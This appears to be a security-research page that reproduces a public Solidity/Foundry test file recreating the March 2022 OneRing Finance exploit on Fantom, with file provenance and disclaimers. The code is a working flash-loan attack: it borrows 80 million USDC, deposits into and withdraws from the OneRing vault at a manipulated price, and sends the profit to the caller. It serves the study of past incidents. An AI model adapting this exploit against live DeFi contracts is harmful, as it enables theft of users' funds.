Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/OneRing_exp.sol

Public reproduction file for dataset entry OneRing Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/OneRing_exp.sol30 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 IUniswapV2Pair pair = IUniswapV2Pair(0xbcab7d083Cf6a01e0DdA9ed7F8a02b47d125e682);
9 IERC20 usdc = IERC20(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);
10 IOneRingVault vault = IOneRingVault(0x4e332D616b5bA1eDFd87c899E534D996c336a2FC);
11 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
13 function setUp() public {
14 cheats.createSelectFork("fantom", 34_041_499); //fork fantom at block 34041499
15 }
17 function testExploit() public {
18 emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
19 pair.swap(80_000_000 * 1e6, 0, address(this), new bytes(1));
20 emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
21 }
23 function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
24 usdc.approve(address(vault), type(uint256).max);
25 vault.depositSafe(amount0, address(usdc), 1);
26 vault.withdraw(vault.balanceOf(address(this)), address(usdc));
27 usdc.transfer(msg.sender, (amount0 / 9999 * 10_000) + 10_000);
28 usdc.transfer(tx.origin, usdc.balanceOf(address(this)));
29 }

Analysis

Dataset entry

Public Foundry test for “OneRing Finance” (2022-03-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
OneRing Finance
Path
src/test/2022-03/OneRing_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
74cbbea9c71d932df1a31ca600372019e60134de
Language
Solidity
Size
31 lines
Date
2022-03-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/OneRing_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 74cbbea9c71d932df1a31ca600372019e60134de, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.